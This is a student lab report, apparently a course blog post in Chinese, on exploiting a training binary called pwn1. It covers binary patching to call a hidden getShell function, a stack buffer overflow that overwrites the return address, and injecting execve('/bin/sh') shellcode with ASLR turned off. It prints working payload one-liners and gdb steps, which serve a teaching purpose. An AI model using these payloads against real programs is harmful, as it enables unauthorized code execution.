20251911 2025-2026-2 《网络攻防实践》实践九报告

1. 实践内容

本次实验针对一个名为 pwn1 的 Linux 可执行程序展开。正常情况下,main 函数会调用 foo 函数,而 foo 仅仅将用户输入的字符串原样输出。程序内部还隐藏着一个 getShell 函数,该函数能启动一个交互式 Shell,但普通执行流程下永远不会被调用。实验的核心目标是强制让程序执行 getShell 函数,从而掌握劫持程序执行路径的基本方法。
实验分为三个子任务:

  • 任务一:直接修改可执行文件的二进制代码,改写机器指令,使程序跳转到 getShell 函数。
  • 任务二:挖掘 foo 函数中存在的缓冲区溢出漏洞,精心构造输入字符串覆盖栈上的返回地址,诱导程序执行 getShell
  • 任务三:自行编写一段 Shellcode(能启动 Shell 的机器码),将其注入运行中的程序,并让程序跳转执行这段 Shellcode。

2. 实践过程

2.1 手工修改可执行文件,实现跳转到 getShell

(1)设置主机名
首先将 Kali 虚拟机的主机名改为本人姓名的拼音形式:

hostnamectl set-hostname zhangyuehui

image

重启系统后通过 hostname 命令验证,显示为 zhangyuehui,满足截图命名要求。

(2)重命名实验文件
将实验提供的 pwn1 文件复制到当前目录,并更名为包含学号的形式:

cp /var/run/vmblock-fuse/blockdir/YlgAft/pwn1 ./
mv pwn1 pwn20251911

image

(3)反汇编分析原始程序
利用 objdump 查看程序的汇编代码:

objdump -d pwn20251911 | less

image

在输出结果中定位到三个关键部分:

  • getShell 函数的入口地址:0x0804847d
  • foo 函数的地址:0x08048491
  • main 函数中调用 foo 的指令位置 0x080484b5,其机器码为 e8 d7 ff ff ff,对应 call 8048491 <foo>

(4)计算需要修改的机器码
call 指令使用相对偏移寻址,偏移量计算方式为:目标地址 − 当前指令的下一条指令地址。
当前指令位于 0x080484b5,下一条指令位于 0x080484ba。我们想要调用的目标是 0x0804847d,因此:

偏移量 = 0x0804847d − 0x080484ba = 0xffffffc3

小端序表示为 c3 ff ff ff,加上 call 的操作码 e8,最终机器码应为 e8 c3 ff ff ff
原机器码中的 d7 ff ff ff 需要替换为 c3 ff ff ff

(5)使用十六进制编辑器修改文件
vim 打开目标文件:

vim pwn20251911

在末行模式输入 :%!xxd 切换到十六进制视图。
image
image

搜索字符串 /e8 d7 找到待修改字节,将 d7 改为 c3。修改后执行 :%!xxd -r 恢复二进制格式,最后 :wq 保存退出。

(6)验证修改效果
再次执行反汇编:

objdump -d pwn20251911 | grep -A2 "80484b5"

image

输出显示 call 804847d <getShell>,说明修改正确。运行程序:

./pwn20251911

直接获得了 Shell 提示符,输入 idls 命令
image

均能正常执行,攻击成功。

2.2 利用缓冲区溢出漏洞覆盖返回地址

(1)还原程序并分析栈分布
重新拷贝一份未修改的 pwn20251911。反汇编 foo 函数:

objdump -d pwn20251911 | sed -n '/<foo>:/,/^$/p'

image

关键的汇编指令:

sub    $0x38, %esp          # 在栈上分配 56 字节空间
lea    -0x1c(%ebp), %eax    # 缓冲区起始位置为 ebp - 28

由此可知,缓冲区首地址距离 ebp 为 28 字节。返回地址存放在 ebp+4 的位置,因此从缓冲区起始到返回地址之间的偏移量为 (ebp+4) - (ebp-28) = 32 字节。也就是说,我们填充 32 个任意字符后,接下来的 4 个字节就会被解释为返回地址。只要将这 4 个字节设置为 getShell 函数的地址 0x0804847d 即可。

(2)安装 gdb 辅助验证

sudo apt install gdb -y
gdb pwn20251911
(gdb) info address getShell

image

(3)构造恶意输入并生成载荷
使用 Perl 命令行生成攻击字符串:

perl -e 'print "A" x 32 . "\x7d\x84\x04\x08\x0a"' > 20251911_input

这里 "A" x 32 是填充数据,后面紧跟 getShell 地址的小端序表示,末尾的 \x0a 是换行符。通过 xxd 验证文件内容:

xxd 20251911_input

image

(4)实施攻击
将生成的载荷作为程序输入:

(cat 20251911_input; cat) | ./pwn20251911

程序打印完输入回显后,出现 Shell 提示符,可以继续输入命令。执行 whoami 确认身份
image

攻击达到预期效果。

2.3 注入自定义 Shellcode

(1)安装 execstack 并设置堆栈可执行
下载并安装 execstack 工具:

wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

image

为目标程序启用可执行栈:

execstack -s pwn20251911
execstack -q pwn20251911   # 应输出 X,表示栈可执行

image

(2)关闭内核地址随机化(ASLR)
查看当前 ASLR 等级:

cat /proc/sys/kernel/randomize_va_space

image

显示非 0,执行:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

image

(3)准备初始 Shellcode(带占位返回地址)
选用经典的 28 字节 execve("/bin/sh") Shellcode,前面添加 6 个 NOP(\x90)作为滑梯,末尾用 \x04\x03\x02\x01 临时填充返回地址。

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x04\x03\x02\x01\x00"' > input3_20251911

image

(4)动态获取 Shellcode 在栈上的实际地址
启动一个终端,运行带有占位输入的程序:

(cat input3_20251911; cat) | ./pwn20251911

程序处于等待状态。另开一个终端,查看该程序的 PID:

ps -ef | grep pwn20251911

image

PID 为 24576。再开第三个终端,用 gdb 附加到进程:

gdb pwn20251911
(gdb) attach 24576
(gdb) disass foo          # 找到 ret 指令位置
(gdb) break *0x080484ae   # 在 ret 处设置断点
(gdb) c

image

此时回到第一个终端按下回车,gdb 会命中断点。
image
image

在 gdb 中查看栈顶寄存器 esp

(gdb) info registers esp

image
esp: 0xffffcf5c
通常返回地址存储在 esp+4 处,即 0xffffcf60。我们可以验证一下:

(gdb) x/16x 0xffffcf60

image

观察到 0xffffcf60 位置正是存放返回地址的地方。因此我们需要让程序跳转到 0xffffcf60,而这个地址恰好就是我们 Shellcode 的起始位置(因为 Shellcode 紧跟在返回地址之后)。

(5)构造最终的攻击载荷
前面分析得知,返回地址位于缓冲区的第 33~36 字节。我们填入 0xffffcf60 的小端形式,然后紧接着放置 NOP 雪橇和实际 Shellcode。最终载荷如下:

perl -e 'print "A" x 32; print "\x60\xcf\xff\xff"; print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > final_shellcode

其中 "A" x 32 为填充,末尾的 \x00 避免字符串截断,\x0a 为换行。
image

(6)实施最后一次攻击

(cat final_shellcode; cat) | ./pwn20251911

程序输出提示后立即返回 Shell 提示符
image

输入 ls 能够列出当前目录文件,攻击成功。

3. 学习中遇到的问题及解决

  • 问题1:手动修改二进制文件时,用 vim 编辑后保存,程序运行时出现“段错误”。
    原因:修改后忘记将十六进制视图转换回二进制格式,导致文件损坏。
    解决方法:在 :%!xxd 修改后,务必执行 :%!xxd -r 再保存。

4. 实践总结

通过本次实验,让我深刻体会到返回地址精确计算在缓冲区溢出攻击中的关键作用。在任务二里,我着重思考了 sub $0x38,%esplea -0x1c(%ebp),%eax 两条指令,才确定从缓冲区起始到返回地址的偏移量为 32 字节。这一过程让我真正理解了函数调用栈中 ebpesp 与返回地址的布局关系。后续在 gdb 中动态验证时,看到自己构造的地址成功覆盖了栈上的返回地址,程序如愿跳转到 getShell,有很大成就感,这也加深了我对栈溢出原理的掌握。

posted @ 2026-05-25 15:18  yuzzz11111  阅读(21)  评论(0)    收藏  举报